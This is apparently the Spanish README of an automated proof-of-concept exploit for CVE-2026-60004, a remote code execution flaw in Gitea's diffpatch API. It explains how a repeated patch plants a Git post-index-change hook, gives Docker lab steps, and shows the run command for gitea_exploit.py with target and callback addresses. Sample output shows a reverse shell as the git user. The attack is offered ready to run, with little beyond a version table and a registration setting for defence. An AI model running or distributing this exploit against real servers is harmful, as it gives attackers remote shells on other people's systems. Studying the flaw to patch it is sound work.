
Prueba de concepto automatizada para CVE-2026-60004, una RCE en el hook Git diffpatch de Gitea que implanta un hook post-index-change para obtener una reverse shell como la cuenta de servicio.
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
CVE-2026-60004 es una vulnerabilidad de Ejecución Remota de Código (RCE) en Gitea. La API
diffpatchaplica un parche proporcionado congit apply --cached, que debería tocar únicamente el índice y nunca escribir archivos en el disco. Al enviar el mismo parche dos veces, un atacante fuerza una colisión add/add que desencadena el fallback de fusión de tres vías de Git (-3). Esa ruta ignora--cachedy extrae el archivo al árbol de trabajo. Debido a que el clon temporal es bare, la raíz de su árbol de trabajo es$GIT_DIR. Un parche que crea un ejecutable, por lo tanto, coloca un hook de Git activo, que Git ejecuta automáticamente en la siguiente actualización del índice — ejecutando comandos como la cuenta de servicio de Gitea. El endpoint requiere acceso de escritura al repositorio, pero el registro está habilitado por defecto, por lo que cualquier usuario que pueda registrarse y crear un repositorio puede alcanzarlo.
hooks/post-index-change| Categoría | Versión |
|---|---|
| Vulnerable | Gitea 1.17 ≤ versión ≤ 1.27.0 |
| Parcheada | Gitea 1.27.1 o posterior |
git)Compila y ejecuta el entorno vulnerable de Gitea. El registro se deja abierto y el
servidor incluye Git 2.32+, que habilita el fallback -3 en el que se basa el ataque.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| Precondición | Estado en este laboratorio |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
Git 2.32+ en el servidor (habilita -3) | 2.54 |
| Registro abierto | habilitado (por defecto) |
| Acceso de escritura al repositorio | mediante cuenta autorregistrada |
El exploit está totalmente automatizado por gitea_exploit.py. Dada una cuenta que puede
crear un repositorio, crea el repositorio objetivo, envía el mismo parche
repetidamente hasta que se dispare el fallback -3 de Git, y captura la reverse shell con un
listener integrado — sin necesidad de configuración manual, creación de parches ni cálculos de hash de blobs.
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
El fallback -3 solo se dispara en ciertas ventanas de tiempo, por lo que el script repite
crear → enviar → enviar hasta que lo captura (25 intentos por defecto). Cuando un envío se bloquea,
el hook se ha disparado y el listener te deja en una shell como git:
[*] attempt 3/25 -> send#1 201, send#2 timeout <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)
Opciones:
--no-listen — captura la shell con tu propio nc externo en lugar del listener integrado--user / --pw / --repo / --branch — sobrescriben la cuenta predeterminada y el repositorio objetivoDISABLE_REGISTRATION=true)